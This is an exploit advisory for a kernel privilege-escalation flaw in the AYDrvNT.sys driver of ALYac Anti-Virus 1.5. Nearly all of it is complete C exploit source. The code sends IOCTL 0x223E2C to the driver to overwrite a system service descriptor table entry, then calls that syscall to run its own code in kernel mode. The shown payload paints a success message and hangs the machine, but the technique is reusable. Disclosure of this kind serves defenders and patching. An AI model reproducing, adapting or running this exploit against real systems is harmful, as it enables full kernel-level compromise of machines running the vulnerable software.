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ESTsoft ALYac Anti-Virus 1.5withAYDrvNT.sys<= 5.0.1.2 Local Kernel Mode Privilege Escalation Vulnerability AUTHOR MJ0011 EMAIL th_decoder$126.com VULNERABLE PRODUCTS ALYac Anti-Virus 1.5 DETAILS: AYDrvNT.sys create a device called "AYDrvNT_ALYAC" , and handles the device io control code = 0x223e2c , which can overwrite the system service descriptor table entry with arbitrary address. EXPLOIT CODE: // Alyac 0day.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include "windows.h" #include "malloc.h" PVOID GetInfoTable(ULONG ATableType) { ULONG mSize = 0x4000; PVOID mPtr = NULL; LONG status; HMODULE hlib = GetModuleHandle("ntdll.dll"); PVOID pZwQuerySystemInformation = GetProcAddress(hlib , "ZwQuerySystemInformation"); do { mPtr = malloc(mSize); if (mPtr) { __asm { push 0 push mSize push mPtr push ATableType call pZwQuerySystemInformation mov status , eax } } else { return NULL; } if (status == 0xc0000004) { free(mPtr); mSize = mSize * 2; } } while (status == 0xc0000004); if (status == 0) { return mPtr; } free(mPtr); return NULL; } typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { USHORT UniqueProcessId; USHORT CreatorBackTraceIndex; UCHAR ObjectTypeIndex; UCHAR HandleAttributes; USHORT HandleValue; PVOID Object; ULONG GrantedAccess; } SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG NumberOfHandles; SYSTEM_HANDLE_TABLE_ENTRY_INFO Information[ 1 ]; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; enum { SystemModuleInformation = 11, SystemHandleInformation = 16 }; typedef struct { ULONG Unknown1; ULONG Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHARImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef VOID (WINAPI *PINBV_ACQUIRE_DISPLAY_OWNERSHIP)(VOID); typedef BOOLEAN (WINAPI *PINBV_RESET_DISPLAY)(VOID); typedef VOID (WINAPI *PINBV_SOLID_COLOR_FILL)( ULONG x1, ULONG y1, ULONG x2, ULONG y2, ULONG color ); typedef ULONG (WINAPI *PINBV_SET_TEXT_COLOR)( ULONG Color ); typedef VOID (*INBV_DISPLAY_STRING_FILTER)( PUCHAR *Str ); typedef VOID (WINAPI *PINBV_INSTALL_DISPLAY_STRING_FILTER)( INBV_DISPLAY_STRING_FILTER DisplayStringFilter ); typedef BOOLEAN (WINAPI *PINBV_ENABLE_DISPLAY_STRING)( BOOLEAN bEnable ); typedef VOID (WINAPI *PINVB_SET_SCROLL_REGION)( ULONG x1, ULONG y1, ULONG x2, ULONG y2 ); typedef VOID (WINAPI *PINBV_DISPLAY_STRING)( PUCHAR Str ); PINBV_ACQUIRE_DISPLAY_OWNERSHIP InbvAcquireDisplayOwnership = 0 ; PINBV_RESET_DISPLAY InbvResetDisplay = 0 ; PINBV_SOLID_COLOR_FILL InbvSolidColorFill = 0 ; PINBV_SET_TEXT_COLOR InbvSetTextColor = 0 ; PINBV_INSTALL_DISPLAY_STRING_FILTER InbvInstallDisplayStringFilter = 0 ; PINBV_ENABLE_DISPLAY_STRING InbvEnableDisplayString = 0 ; PINVB_SET_SCROLL_REGION InbvSetScrollRegion = 0 ; PINBV_DISPLAY_STRING InbvDisplayString= 0 ; #define VGA_COLOR_BLACK 0 #define VGA_COLOR_RED 1 #define VGA_COLOR_GREEN 2 #define VGA_COLOR_GR 3 #define VGA_COLOR_BULE 4 #define VGA_COLOR_DARK_MEGAENTA 5 #define VGA_COLOR_TURQUOISE 6 #define VGA_COLOR_GRAY 7 #define VGA_COLOR_BRIGHT_GRAY 8 #define VGA_COLOR_BRIGHT_RED 9 #define VGA_COLOR_BRIGHT_GREEN 10 #define VGA_COLOR_BRIGHT_YELLOW 11 #define VGA_COLOR_BRIGHT_BULE 12 #define VGA_COLOR_BRIGHT_PURPLE 13 #define VGA_COLOR_BRIGHT_TURQUOISE 14 #define VGA_COLOR_WHITE 15 UCHAR DisplayString[] = "" "" "" "---- ===== EXPLOIT SUCCESSFULLY ==== ---- " "" "" " ALYac Anti-Virus v1.5 Local Privilege Escalation Exploit " "" " VULNERABLE PRODUCT " "" " ALYac Anti-Virus v1.5" "" "" " VULERABLE FILE " " ALDrvNT.sys <= 5.0.1.2 " "" " AUTHOR " "" " MJ0011 " " th_decoder$126.com " "" " 2010-9-7 " "" "" ""; VOID InbvShellCode() { //DISABLE INTERRUPT __asm { cli } //RESET TO VGA MODE InbvAcquireDisplayOwnership(); InbvResetDisplay(); //FILL FULL SCREEN InbvSolidColorFill(0 , 0 , 639 , 479 ,VGA_COLOR_BLACK); //SET TEXT COLOR InbvSetTextColor(VGA_COLOR_BRIGHT_GREEN); InbvInstallDisplayStringFilter(NULL); InbvEnableDisplayString(TRUE); InbvSetScrollRegion( 0 , 0 , 639 ,477); InbvDisplayString(DisplayString); while(TRUE) { }; } BOOL InbvInit(PVOID ntosbase , PSTR ntosname) { HMODULE hlib = LoadLibrary(ntosname); if (hlib == NULL) { return FALSE ; } InbvAcquireDisplayOwnership = (PINBV_ACQUIRE_DISPLAY_OWNERSHIP)((ULONG)GetProcAddress(hlib , "InbvAcquireDisplayOwnership") - (ULONG)hlib + (ULONG)ntosbase); InbvResetDisplay = (PINBV_RESET_DISPLAY)((ULONG)GetProcAddress(hlib , "InbvResetDisplay") - (ULONG)hlib + (ULONG)ntosbase); InbvSolidColorFill = (PINBV_SOLID_COLOR_FILL)((ULONG)GetProcAddress(hlib , "InbvSolidColorFill") - (ULONG)hlib + (ULONG)ntosbase); InbvSetTextColor = (PINBV_SET_TEXT_COLOR)((ULONG)GetProcAddress(hlib , "InbvSetTextColor") - (ULONG)hlib + (ULONG)ntosbase); InbvInstallDisplayStringFilter = (PINBV_INSTALL_DISPLAY_STRING_FILTER)((ULONG)GetProcAddress(hlib , "InbvInstallDisplayStringFilter") - (ULONG)hlib + (ULONG)ntosbase); InbvEnableDisplayString = (PINBV_ENABLE_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvEnableDisplayString") - (ULONG)hlib + (ULONG)ntosbase); InbvSetScrollRegion = (PINVB_SET_SCROLL_REGION)((ULONG)GetProcAddress(hlib , "InbvSetScrollRegion") - (ULONG)hlib + (ULONG)ntosbase); InbvDisplayString = (PINBV_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvDisplayString") - (ULONG)hlib + (ULONG)ntosbase); if (InbvAcquireDisplayOwnership && InbvResetDisplay && InbvSolidColorFill && InbvSetTextColor && InbvInstallDisplayStringFilter && InbvEnableDisplayString && InbvSetScrollRegion && InbvDisplayString) { return TRUE ; } return FALSE ; } int main(int argc, char* argv[]) { printf("ALYac AntiVirus AYDrvNT.sys <= 5.0.1.2\n" "Local Kernel Mode Privilege Escalation Vulnerability POC\n\n" "by MJ0011 th_decoder$126.com\n" "Press Enter....\n" ); getchar(); PSYSTEM_MODULE_INFORMATION pmi = (PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation); if (!InbvInit(pmi->Module[0].Base , strrchr(pmi->Module[0].ImageName , '\\')+1)) { printf("cannot init inbv system\n"); return 0 ; } HANDLE hdev = CreateFile("\\\\.\\DosAYDrvNT_ALYAC" , FILE_READ_ATTRIBUTES , FILE_SHARE_READ , NULL , OPEN_EXISTING , 0 , 0 ); if (hdev == INVALID_HANDLE_VALUE) { printf("cannot open dev %u\n" , GetLastError()); return 0 ; } PVOID p = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtVdmControl"); ULONG idofnvc = *(ULONG*)((ULONG)p + 1); ULONG buf[2]; buf[0] = idofnvc ; buf[1] = (ULONG)InbvShellCode; ULONG btr ; if (!DeviceIoControl(hdev , 0x223E2C , &buf , sizeof(ULONG)*2 , NULL , 0 , &btr , 0 )) { printf("dev ctl failed %u\n",GetLastError()); return 0 ; } __asm { push 0 push 0 call p } return 0; } |
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